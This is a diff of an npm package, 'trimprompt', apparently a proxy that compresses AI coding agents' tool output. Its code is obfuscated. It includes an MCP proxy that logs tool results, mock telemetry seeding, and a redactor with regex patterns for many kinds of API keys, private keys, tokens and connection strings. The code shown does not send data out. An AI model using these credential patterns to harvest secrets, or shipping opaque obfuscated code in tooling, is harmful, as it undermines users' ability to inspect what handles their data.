filterTree(_0x8b812){const _0x2026ce=a0_0x23b92a,_0x2ae37e=_0x8b812[_0x2026ce(0x227)]('\x0a');if(_0x2ae37e['length']<=0x32)return _0x8b812[_0x2026ce(0x224)]();const _0x59de10=[];let _0x4d2dfb=0x0,_0x8582d9=0x0,_0x3e5b41=0x0;for(const _0x130143 of _0x2ae37e){const _0x412bd0=_0x130143[_0x2026ce(0x210)](/(\d+)\s+director/),_0xa8d795=_0x130143[_0x2026ce(0x210)](/(\d+)\s+file/);if(_0x412bd0)_0x3e5b41=parseInt(_0x412bd0[0x1]);if(_0xa8d795)_0x8582d9=parseInt(_0xa8d795[0x1]);const _0x1aa39f=(_0x130143['match'](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x1aa39f<=0x4&&(_0x59de10[_0x2026ce(0x209)](_0x130143),_0x4d2dfb++);}return _0x2ae37e[_0x2026ce(0x1be)]>_0x59de10[_0x2026ce(0x1be)]&&_0x59de10['push'](_0x2026ce(0x20f)+_0x3e5b41+_0x2026ce(0x1d9)+_0x8582d9+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x59de10[_0x2026ce(0x1c5)]('\x0a');}function filterCat(_0x56df4d,_0x4a19b5=''){const _0x400e51=a0_0x23b92a,_0x47598c=extractFilename(_0x4a19b5);try{if(_0x47598c){const _0xbc532e=filterLockFile(_0x56df4d,_0x47598c);if(_0xbc532e)return _0xbc532e;}const _0x3e60b5=filterBinaryOrMinified(_0x56df4d,_0x47598c);if(_0x3e60b5)return _0x3e60b5;const _0x362acb=filterJsonMinify(_0x56df4d);if(_0x362acb)return _0x362acb;}catch{}const _0x4fc394=_0x56df4d[_0x400e51(0x227)]('\x0a');if(_0x4fc394[_0x400e51(0x1be)]<=0x64)return _0x56df4d;const _0x518b05=[];return _0x518b05[_0x400e51(0x209)](..._0x4fc394[_0x400e51(0x219)](0x0,0x32)),_0x518b05[_0x400e51(0x209)](_0x400e51(0x20c)+(_0x4fc394[_0x400e51(0x1be)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x518b05[_0x400e51(0x209)](..._0x4fc394['slice'](-0x1e)),_0x518b05['push']('\x0a('+_0x4fc394[_0x400e51(0x1be)]+'\x20lines\x20total)'),_0x518b05[_0x400e51(0x1c5)]('\x0a');}function filterGrep(_0x108e9f){const _0x4a063b=a0_0x23b92a,_0x4db958=_0x108e9f[_0x4a063b(0x227)]('\x0a')['filter'](_0x4ae932=>_0x4ae932[_0x4a063b(0x224)]()['length']>0x0);if(_0x4db958[_0x4a063b(0x1be)]===0x0)return'No\x20matches\x20found';if(_0x4db958[_0x4a063b(0x1be)]<=0x32)return _0x108e9f[_0x4a063b(0x224)]();const _0x52bf8={},_0x1c15c1=[];for(const _0x13dfdc of _0x4db958){const _0x5cec1b=_0x13dfdc[_0x4a063b(0x220)](':');if(_0x5cec1b>0x0&&_0x5cec1b<0xc8){const _0xc45e09=_0x13dfdc[_0x4a063b(0x1fe)](0x0,_0x5cec1b);if(_0xc45e09['includes']('/')||_0xc45e09[_0x4a063b(0x1ca)]('\x5c')||_0xc45e09[_0x4a063b(0x1ca)]('.')){if(!_0x52bf8[_0xc45e09])_0x52bf8[_0xc45e09]=[];_0x52bf8[_0xc45e09][_0x4a063b(0x209)](_0x13dfdc[_0x4a063b(0x1fe)](_0x5cec1b+0x1)['trim']());continue;}}_0x1c15c1[_0x4a063b(0x209)](_0x13dfdc);}const _0x3ef29c=[],_0x68dcea=Object[_0x4a063b(0x1c8)](_0x52bf8);if(_0x68dcea['length']>0x0){const _0xf0f5bc=0x14,_0x206806=_0x68dcea[_0x4a063b(0x219)](0x0,_0xf0f5bc);for(const _0x32d0dc of _0x206806){const _0x1b6036=_0x52bf8[_0x32d0dc];if(_0x1b6036[_0x4a063b(0x1be)]<=0x3)for(const _0x22e02e of _0x1b6036){_0x3ef29c[_0x4a063b(0x209)](_0x32d0dc+':\x20'+_0x22e02e);}else _0x3ef29c['push'](_0x32d0dc+':\x20'+_0x1b6036[0x0]),_0x3ef29c['push'](_0x32d0dc+':\x20...\x20('+_0x1b6036[_0x4a063b(0x1be)]+_0x4a063b(0x20e));}_0x68dcea[_0x4a063b(0x1be)]>_0xf0f5bc&&_0x3ef29c[_0x4a063b(0x209)](_0x4a063b(0x1ea)+(_0x68dcea[_0x4a063b(0x1be)]-_0xf0f5bc)+_0x4a063b(0x1ec));}if(_0x1c15c1[_0x4a063b(0x1be)]>0x0){const _0x21cd24=0x1e;_0x3ef29c[_0x4a063b(0x209)](..._0x1c15c1['slice'](0x0,_0x21cd24)),_0x1c15c1[_0x4a063b(0x1be)]>_0x21cd24&&_0x3ef29c['push'](_0x4a063b(0x1ea)+(_0x1c15c1['length']-_0x21cd24)+_0x4a063b(0x1e4));}const _0x2707ae=_0x4db958[_0x4a063b(0x1be)];return _0x3ef29c[_0x4a063b(0x209)]('\x0a('+_0x2707ae+_0x4a063b(0x1cc)+(_0x68dcea[_0x4a063b(0x1be)]||'?')+_0x4a063b(0x1ff)),_0x3ef29c[_0x4a063b(0x1c5)]('\x0a');}function filterFind(_0x83ab9e){const _0x17407c=a0_0x23b92a,_0x538f60=_0x83ab9e[_0x17407c(0x227)]('\x0a')[_0x17407c(0x21e)](_0x2cc7b3=>_0x2cc7b3[_0x17407c(0x224)]()[_0x17407c(0x1be)]>0x0);if(_0x538f60[_0x17407c(0x1be)]===0x0)return'No\x20files\x20found';if(_0x538f60[_0x17407c(0x1be)]<=0x32)return _0x83ab9e[_0x17407c(0x224)]();const _0x204c1d={};for(const _0x275ebb of _0x538f60){const _0x8874db=path[_0x17407c(0x1c1)](_0x275ebb['trim']())||'.';_0x204c1d[_0x8874db]=(_0x204c1d[_0x8874db]||0x0)+0x1;}const _0x59e3bb=Object[_0x17407c(0x1c3)](_0x204c1d)[_0x17407c(0x1bd)]((_0x3c8cc3,_0x5c8cca)=>_0x5c8cca[0x1]-_0x3c8cc3[0x1]),_0x99032a=[_0x538f60[_0x17407c(0x1be)]+'\x20files\x20found\x20across\x20'+_0x59e3bb[_0x17407c(0x1be)]+_0x17407c(0x1cf),''],_0x1acde2=0x1e;for(const [_0x163a7,_0x23ce57]of _0x59e3bb[_0x17407c(0x219)](0x0,_0x1acde2)){_0x99032a[_0x17407c(0x209)]('\x20\x20'+_0x163a7+_0x17407c(0x213)+_0x23ce57+_0x17407c(0x1ff));}return _0x59e3bb[_0x17407c(0x1be)]>_0x1acde2&&_0x99032a['push'](_0x17407c(0x1f2)+(_0x59e3bb[_0x17407c(0x1be)]-_0x1acde2)+'\x20more\x20directories'),_0x99032a[_0x17407c(0x1c5)]('\x0a');}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';function a0_0x57dd(){const _0x33225b=['3893944GntlUx','logExecution','inherit','runMcpProxy','spawn','getOwnPropertyNames','__esModule','redaction_enabled','child_process','isArray','compressOutput','stringify','15828957LHaxQi','result','./filters','content','getConfig','line','getOwnPropertyDescriptor','jsonrpc','readline','trim','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','create','writable','message','default','pipe','createInterface','length','parse','stdin','3682869xMemSZ','163DwOUCt','exit','6670wLYvTj','defineProperty','get','32879LOwGPB','error','678tYcfmF','text','call','mcp\x20tool\x20(id:\x20','1252184nBjLbJ','mcp-tool-call','string','write','stdout','5229505NWHMPc','tracker','configurable'];a0_0x57dd=function(){return _0x33225b;};return a0_0x57dd();}const a0_0x5abf94=a0_0x39c5;(function(_0x1bc633,_0x1a8a33){const _0x2ececd=a0_0x39c5,_0x4733a5=_0x1bc633();while(!![]){try{const _0x1d64ff=parseInt(_0x2ececd(0x182))/0x1*(-parseInt(_0x2ececd(0x184))/0x2)+parseInt(_0x2ececd(0x181))/0x3+-parseInt(_0x2ececd(0x159))/0x4+parseInt(_0x2ececd(0x15e))/0x5+parseInt(_0x2ececd(0x189))/0x6*(parseInt(_0x2ececd(0x187))/0x7)+parseInt(_0x2ececd(0x161))/0x8+-parseInt(_0x2ececd(0x16d))/0x9;if(_0x1d64ff===_0x1a8a33)break;else _0x4733a5['push'](_0x4733a5['shift']());}catch(_0x5f43d7){_0x4733a5['push'](_0x4733a5['shift']());}}}(a0_0x57dd,0xa4f14));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x1b6318,_0x1c9a3c,_0x444670,_0x2095a8){const _0x320560=a0_0x39c5;if(_0x2095a8===undefined)_0x2095a8=_0x444670;var _0x14392f=Object[_0x320560(0x173)](_0x1c9a3c,_0x444670);(!_0x14392f||(_0x320560(0x186)in _0x14392f?!_0x1c9a3c[_0x320560(0x167)]:_0x14392f[_0x320560(0x179)]||_0x14392f[_0x320560(0x160)]))&&(_0x14392f={'enumerable':!![],'get':function(){return _0x1c9a3c[_0x444670];}}),Object[_0x320560(0x185)](_0x1b6318,_0x2095a8,_0x14392f);}:function(_0x387c59,_0x2b66f4,_0x26f2bb,_0x599c44){if(_0x599c44===undefined)_0x599c44=_0x26f2bb;_0x387c59[_0x599c44]=_0x2b66f4[_0x26f2bb];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x5abf94(0x178)]?function(_0x1cd009,_0x21d902){const _0x2f22e1=a0_0x5abf94;Object[_0x2f22e1(0x185)](_0x1cd009,_0x2f22e1(0x17b),{'enumerable':!![],'value':_0x21d902});}:function(_0x1a358a,_0x5f3a54){const _0x3bd48b=a0_0x5abf94;_0x1a358a[_0x3bd48b(0x17b)]=_0x5f3a54;}),__importStar=this&&this['__importStar']||(function(){var _0x21bd84=function(_0x1990d8){const _0x3b6013=a0_0x39c5;return _0x21bd84=Object[_0x3b6013(0x166)]||function(_0x5b291c){const _0x2f182e=_0x3b6013;var _0x527302=[];for(var _0x37746d in _0x5b291c)if(Object['prototype']['hasOwnProperty'][_0x2f182e(0x157)](_0x5b291c,_0x37746d))_0x527302[_0x527302[_0x2f182e(0x17e)]]=_0x37746d;return _0x527302;},_0x21bd84(_0x1990d8);};return function(_0x63a766){const _0x3dd148=a0_0x39c5;if(_0x63a766&&_0x63a766[_0x3dd148(0x167)])return _0x63a766;var _0x1b9b60={};if(_0x63a766!=null){for(var _0x2dc549=_0x21bd84(_0x63a766),_0x3cff41=0x0;_0x3cff41<_0x2dc549[_0x3dd148(0x17e)];_0x3cff41++)if(_0x2dc549[_0x3cff41]!==_0x3dd148(0x17b))__createBinding(_0x1b9b60,_0x63a766,_0x2dc549[_0x3cff41]);}return __setModuleDefault(_0x1b9b60,_0x63a766),_0x1b9b60;};}());function a0_0x39c5(_0x2aed7a,_0x1afe53){_0x2aed7a=_0x2aed7a-0x156;const _0x57dd56=a0_0x57dd();let _0x39c584=_0x57dd56[_0x2aed7a];return _0x39c584;}Object['defineProperty'](exports,a0_0x5abf94(0x167),{'value':!![]}),exports[a0_0x5abf94(0x164)]=runMcpProxy;const child_process_1=require(a0_0x5abf94(0x169)),readline=__importStar(require(a0_0x5abf94(0x175))),filters_1=require(a0_0x5abf94(0x16f)),tracker_1=require('./tracker');function runMcpProxy(_0x4b776a,_0x402660){const _0x148330=a0_0x5abf94,_0x4bc229=(0x0,child_process_1[_0x148330(0x165)])(_0x4b776a,_0x402660,{'stdio':[_0x148330(0x17c),_0x148330(0x17c),_0x148330(0x163)]});process[_0x148330(0x180)][_0x148330(0x17c)](_0x4bc229['stdin']);const _0x11b974=readline[_0x148330(0x17d)]({'input':_0x4bc229['stdout'],'terminal':![]});_0x11b974['on'](_0x148330(0x172),_0x31a61f=>{const _0x1083d6=_0x148330;try{const _0x4c253d=JSON[_0x1083d6(0x17f)](_0x31a61f);if(_0x4c253d&&_0x4c253d[_0x1083d6(0x174)]==='2.0'&&_0x4c253d['id']!==undefined&&_0x4c253d[_0x1083d6(0x16e)]&&Array[_0x1083d6(0x16a)](_0x4c253d[_0x1083d6(0x16e)]['content'])){let _0xf1e124=![];for(const _0x1c9537 of _0x4c253d[_0x1083d6(0x16e)][_0x1083d6(0x170)]){if(_0x1c9537['type']==='text'&&typeof _0x1c9537[_0x1083d6(0x156)]===_0x1083d6(0x15b)&&_0x1c9537['text'][_0x1083d6(0x176)]()[_0x1083d6(0x17e)]>0x0){const _0x5ea7b2=_0x1c9537[_0x1083d6(0x156)],_0x23c646=(0x0,filters_1[_0x1083d6(0x16b)])(_0x1083d6(0x15a),_0x5ea7b2,'',tracker_1[_0x1083d6(0x15f)][_0x1083d6(0x171)]()[_0x1083d6(0x168)]);tracker_1['tracker'][_0x1083d6(0x162)](_0x1083d6(0x158)+_0x4c253d['id']+')',_0x5ea7b2,_0x23c646,0x0),_0x1c9537[_0x1083d6(0x156)]=_0x23c646,_0xf1e124=!![];}}_0xf1e124?process[_0x1083d6(0x15d)][_0x1083d6(0x15c)](JSON[_0x1083d6(0x16c)](_0x4c253d)+'\x0a'):process[_0x1083d6(0x15d)][_0x1083d6(0x15c)](_0x31a61f+'\x0a');}else process[_0x1083d6(0x15d)]['write'](_0x31a61f+'\x0a');}catch{process[_0x1083d6(0x15d)][_0x1083d6(0x15c)](_0x31a61f+'\x0a');}}),_0x4bc229['on']('close',_0x27b828=>{const _0x359055=_0x148330;process[_0x359055(0x183)](_0x27b828||0x0);}),_0x4bc229['on'](_0x148330(0x188),_0xe75933=>{const _0x5c45bd=_0x148330;console[_0x5c45bd(0x188)](_0x5c45bd(0x177)+_0xe75933[_0x5c45bd(0x17a)]),process['exit'](0x1);});}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "trimprompt",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.24",
|
|
4
4
|
"description": "TrimPrompt — Save 80% on LLM tokens. Zero-config CLI proxy for AI coding agents",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"llm",
|
|
@@ -30,7 +30,8 @@
|
|
|
30
30
|
"dependencies": {
|
|
31
31
|
"commander": "^11.1.0",
|
|
32
32
|
"express": "^4.18.2",
|
|
33
|
-
"open": "^8.4.2"
|
|
33
|
+
"open": "^8.4.2",
|
|
34
|
+
"trim": "^1.0.1"
|
|
34
35
|
},
|
|
35
36
|
"engines": {
|
|
36
37
|
"node": ">=18.0.0"
|
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x90f02a=a0_0x163e;function a0_0x4a7f(){const _0x12d77e=['openai_key','ip_address','Email\x20Address','5151033PVZMAm','basic_auth','[REDACTED_AZURE_CONNECTION]','match','[REDACTED_ANTHROPIC_KEY]','redactor','GCP\x20Service\x20Account\x20Key','\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22','[REDACTED_EMAIL]','email','$1=[REDACTED_AWS_SECRET]','redact','$1=[REDACTED_CREDENTIAL]','replace','53767pCedDV','includes','Anthropic\x20API\x20Key','generic_credential','aws_secret','335260hDfnsk','db_connection','alert','github_token','Stripe\x20Key','[REDACTED_IP]','type','Azure\x20Connection\x20String','length','azure_conn','twilio_key','AWS\x20Secret\x20Key','rules','Bearer\x20Token','[REDACTED_PRIVATE_KEY]','slack_token','[REDACTED_STRIPE_KEY]','gcp_key','sendgrid_key','bearer','GitHub\x20Token','[REDACTED_JWT]','2324793thxVUF','[REDACTED_OPENAI_KEY]','[REDACTED_GITHUB_TOKEN]','Bearer\x20[REDACTED_TOKEN]','[REDACTED_SENDGRID_KEY]','loadDefaultRules','1019902cqclmi','Private\x20Key\x20Block','replacement','JWT\x20Token','[REDACTED_AWS_KEY]','__esModule','aws_key','1UZxZKY','7762128OHkKtJ','AWS\x20Access\x20Key','Slack\x20Token','246szDnEY','8449060WwhKzT','Generic\x20API\x20Key/Secret/Password','Redactor','jwt','48bPCovl','[REDACTED_SLACK_TOKEN]','Database\x20Connection\x20String','regex','SendGrid\x20Key','[REDACTED_TWILIO_KEY]'];a0_0x4a7f=function(){return _0x12d77e;};return a0_0x4a7f();}(function(_0x4c1210,_0x1088c0){const _0x5a5505=a0_0x163e,_0x3e9d38=_0x4c1210();while(!![]){try{const _0x391edc=parseInt(_0x5a5505(0xe7))/0x1*(parseInt(_0x5a5505(0xe0))/0x2)+parseInt(_0x5a5505(0xda))/0x3+-parseInt(_0x5a5505(0xf0))/0x4*(-parseInt(_0x5a5505(0x10c))/0x5)+parseInt(_0x5a5505(0xeb))/0x6*(-parseInt(_0x5a5505(0x107))/0x7)+-parseInt(_0x5a5505(0xe8))/0x8+parseInt(_0x5a5505(0xf9))/0x9+-parseInt(_0x5a5505(0xec))/0xa;if(_0x391edc===_0x1088c0)break;else _0x3e9d38['push'](_0x3e9d38['shift']());}catch(_0x12795b){_0x3e9d38['push'](_0x3e9d38['shift']());}}}(a0_0x4a7f,0x81d26));function a0_0x163e(_0x2f03d3,_0x4f362c){_0x2f03d3=_0x2f03d3-0xc8;const _0x4a7f7d=a0_0x4a7f();let _0x163e51=_0x4a7f7d[_0x2f03d3];return _0x163e51;}Object['defineProperty'](exports,a0_0x90f02a(0xe5),{'value':!![]}),exports['redactor']=exports[a0_0x90f02a(0xee)]=void 0x0;class Redactor{[a0_0x90f02a(0xd0)]=[];constructor(){const _0x44b0ec=a0_0x90f02a;this[_0x44b0ec(0xdf)]();}[a0_0x90f02a(0xdf)](){const _0x1e1dec=a0_0x90f02a;this[_0x1e1dec(0xd0)]=[{'name':_0x1e1dec(0xe9),'type':_0x1e1dec(0xe6),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':_0x1e1dec(0xe4)},{'name':_0x1e1dec(0xcf),'type':_0x1e1dec(0x10b),'regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x1e1dec(0x103)},{'name':_0x1e1dec(0xff),'type':_0x1e1dec(0xd5),'regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':_0x1e1dec(0x100)},{'name':_0x1e1dec(0xcb),'type':_0x1e1dec(0xcd),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':_0x1e1dec(0xfb)},{'name':_0x1e1dec(0x109),'type':'anthropic_key','regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':_0x1e1dec(0xfd)},{'name':'OpenAI\x20API\x20Key','type':_0x1e1dec(0xf6),'regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':_0x1e1dec(0xdb)},{'name':_0x1e1dec(0xd8),'type':_0x1e1dec(0x10f),'regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':_0x1e1dec(0xdc)},{'name':_0x1e1dec(0xea),'type':_0x1e1dec(0xd3),'regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':_0x1e1dec(0xf1)},{'name':_0x1e1dec(0xc8),'type':'stripe_key','regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':_0x1e1dec(0xd4)},{'name':'Twilio\x20Key','type':_0x1e1dec(0xce),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':_0x1e1dec(0xf5)},{'name':_0x1e1dec(0xf4),'type':_0x1e1dec(0xd6),'regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x1e1dec(0xde)},{'name':_0x1e1dec(0xe1),'type':'private_key','regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x1e1dec(0xd2)},{'name':_0x1e1dec(0xe3),'type':_0x1e1dec(0xef),'regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':_0x1e1dec(0xd9)},{'name':_0x1e1dec(0xd1),'type':_0x1e1dec(0xd7),'regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':_0x1e1dec(0xdd)},{'name':'Basic\x20Auth','type':_0x1e1dec(0xfa),'regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':'Basic\x20[REDACTED_AUTH]'},{'name':_0x1e1dec(0xf2),'type':_0x1e1dec(0x10d),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION]'},{'name':_0x1e1dec(0xed),'type':_0x1e1dec(0x10a),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':_0x1e1dec(0x105)},{'name':'IPv4\x20Address\x20(non-local)','type':_0x1e1dec(0xf7),'regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1e1dec(0xc9),'alert':![]},{'name':_0x1e1dec(0xf8),'type':_0x1e1dec(0x102),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1e1dec(0x101),'alert':![]}];}[a0_0x90f02a(0x104)](_0x30b570){return this['redactWithAudit'](_0x30b570)['text'];}['redactWithAudit'](_0x38781a){const _0x3937a5=a0_0x90f02a;let _0x3c2a8d=_0x38781a,_0x143a52=0x0;const _0x489f30=[];for(const _0x5a1192 of this[_0x3937a5(0xd0)]){const _0x2eb21f=_0x3c2a8d[_0x3937a5(0xfc)](_0x5a1192[_0x3937a5(0xf3)]);_0x2eb21f&&_0x2eb21f[_0x3937a5(0xcc)]>0x0&&(_0x5a1192[_0x3937a5(0x10e)]!==![]&&(_0x143a52+=_0x2eb21f[_0x3937a5(0xcc)],!_0x489f30[_0x3937a5(0x108)](_0x5a1192[_0x3937a5(0xca)])&&_0x489f30['push'](_0x5a1192[_0x3937a5(0xca)])),_0x3c2a8d=_0x3c2a8d[_0x3937a5(0x106)](_0x5a1192[_0x3937a5(0xf3)],_0x5a1192[_0x3937a5(0xe2)]));}return{'text':_0x3c2a8d,'secretsFound':_0x143a52,'secretTypes':_0x489f30};}}exports[a0_0x90f02a(0xee)]=Redactor,exports[a0_0x90f02a(0xfe)]=new Redactor();
|
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x854d0f=a0_0x1d78;function a0_0x4bcf(){const _0x20fa1d=['gemini-1-5-pro','[INFO]\x20Building\x20modules...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','docker\x20build\x20.','logExecution','pytest\x20tests/app','tracker','12860xOrKYc','./tracker','8763ETzOLf','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','gpt-4o','837585uAMiwz','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','test_auth.py\x20PASS\x0a','Compilation\x20Output:\x0a','153972DiPJWm','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','570930cIfiIS','Optimizing\x20assets...\x0a','added\x201420\x20packages\x20in\x2014s\x0a','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','test_api.py\x20PASS\x0a','log','239624sHoYpN','claude-3-opus','205971lXSmoa','188anegNA','npm\x20run\x20build','repeat'];a0_0x4bcf=function(){return _0x20fa1d;};return a0_0x4bcf();}(function(_0x1e7a2a,_0x276f8b){const _0x2e005e=a0_0x1d78,_0x1405d7=_0x1e7a2a();while(!![]){try{const _0x2ff125=-parseInt(_0x2e005e(0x9f))/0x1+-parseInt(_0x2e005e(0xa6))/0x2+parseInt(_0x2e005e(0xb1))/0x3+parseInt(_0x2e005e(0xb2))/0x4*(-parseInt(_0x2e005e(0xbc))/0x5)+parseInt(_0x2e005e(0xa8))/0x6+parseInt(_0x2e005e(0xa2))/0x7+parseInt(_0x2e005e(0xaf))/0x8;if(_0x2ff125===_0x276f8b)break;else _0x1405d7['push'](_0x1405d7['shift']());}catch(_0x27cdfe){_0x1405d7['push'](_0x1405d7['shift']());}}}(a0_0x4bcf,0x1a123));function a0_0x1d78(_0x1d1e6c,_0x1444ac){_0x1d1e6c=_0x1d1e6c-0x9e;const _0x4bcf86=a0_0x4bcf();let _0x1d789a=_0x4bcf86[_0x1d1e6c];return _0x1d789a;}Object['defineProperty'](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x854d0f(0x9e));console[a0_0x854d0f(0xae)](a0_0x854d0f(0xab)),process.env.TRIMPROMPT_MODEL=a0_0x854d0f(0xb0),tracker_1['tracker']['logExecution'](a0_0x854d0f(0xb3),a0_0x854d0f(0xa5)+a0_0x854d0f(0xb6)+a0_0x854d0f(0xa9)+a0_0x854d0f(0xa7)[a0_0x854d0f(0xb4)](0x190),a0_0x854d0f(0xb7),0x0),process.env.TRIMPROMPT_MODEL=a0_0x854d0f(0xa1),tracker_1[a0_0x854d0f(0xbb)]['logExecution'](a0_0x854d0f(0xba),'Test\x20suite\x20run\x20starting...\x0a'+a0_0x854d0f(0xa4)+'test_db.py\x20PASS\x0a'+a0_0x854d0f(0xad)[a0_0x854d0f(0xb4)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x854d0f(0xa0),0x0),process.env.TRIMPROMPT_MODEL=a0_0x854d0f(0xb5),tracker_1['tracker'][a0_0x854d0f(0xb9)](a0_0x854d0f(0xb8),'Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x854d0f(0xa3)+a0_0x854d0f(0xac)+a0_0x854d0f(0xaa)[a0_0x854d0f(0xb4)](0x3)+'Successfully\x20built\x20image.','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x854d0f(0xae)]('Database\x20successfully\x20seeded!');
|
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x57829a=a0_0x256c;(function(_0x26b97b,_0x55dd0b){const _0x5af2b9=a0_0x256c,_0x5d7be2=_0x26b97b();while(!![]){try{const _0x115673=-parseInt(_0x5af2b9(0x16c))/0x1*(-parseInt(_0x5af2b9(0x151))/0x2)+-parseInt(_0x5af2b9(0x17d))/0x3+-parseInt(_0x5af2b9(0x197))/0x4+-parseInt(_0x5af2b9(0x178))/0x5+parseInt(_0x5af2b9(0x170))/0x6+-parseInt(_0x5af2b9(0x157))/0x7*(-parseInt(_0x5af2b9(0x187))/0x8)+parseInt(_0x5af2b9(0x1a9))/0x9*(parseInt(_0x5af2b9(0x133))/0xa);if(_0x115673===_0x55dd0b)break;else _0x5d7be2['push'](_0x5d7be2['shift']());}catch(_0x57b733){_0x5d7be2['push'](_0x5d7be2['shift']());}}}(a0_0x456b,0x40b3a));function a0_0x256c(_0x428d72,_0x19ac76){_0x428d72=_0x428d72-0x131;const _0x456b1c=a0_0x456b();let _0x256cec=_0x456b1c[_0x428d72];return _0x256cec;}var __createBinding=this&&this[a0_0x57829a(0x143)]||(Object['create']?function(_0x311f42,_0x1104f0,_0xa3dc18,_0x59ecc5){const _0x3e2b0e=a0_0x57829a;if(_0x59ecc5===undefined)_0x59ecc5=_0xa3dc18;var _0x56c4ad=Object[_0x3e2b0e(0x1a7)](_0x1104f0,_0xa3dc18);(!_0x56c4ad||(_0x3e2b0e(0x169)in _0x56c4ad?!_0x1104f0[_0x3e2b0e(0x15e)]:_0x56c4ad[_0x3e2b0e(0x14a)]||_0x56c4ad[_0x3e2b0e(0x136)]))&&(_0x56c4ad={'enumerable':!![],'get':function(){return _0x1104f0[_0xa3dc18];}}),Object[_0x3e2b0e(0x1a0)](_0x311f42,_0x59ecc5,_0x56c4ad);}:function(_0x20b8cc,_0x38af7a,_0x2e32ae,_0x540327){if(_0x540327===undefined)_0x540327=_0x2e32ae;_0x20b8cc[_0x540327]=_0x38af7a[_0x2e32ae];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0xf4aa2e,_0x33b73f){const _0x17e53c=a0_0x57829a;Object[_0x17e53c(0x1a0)](_0xf4aa2e,_0x17e53c(0x196),{'enumerable':!![],'value':_0x33b73f});}:function(_0x1f2428,_0x4a58ee){const _0x1cc20a=a0_0x57829a;_0x1f2428[_0x1cc20a(0x196)]=_0x4a58ee;}),__importStar=this&&this[a0_0x57829a(0x13c)]||(function(){var _0x3b94bb=function(_0x3a413e){const _0x3a1b40=a0_0x256c;return _0x3b94bb=Object[_0x3a1b40(0x17c)]||function(_0x4fadaf){const _0x1893cd=_0x3a1b40;var _0x550018=[];for(var _0x24bfba in _0x4fadaf)if(Object['prototype'][_0x1893cd(0x18b)][_0x1893cd(0x1a5)](_0x4fadaf,_0x24bfba))_0x550018[_0x550018['length']]=_0x24bfba;return _0x550018;},_0x3b94bb(_0x3a413e);};return function(_0x259388){const 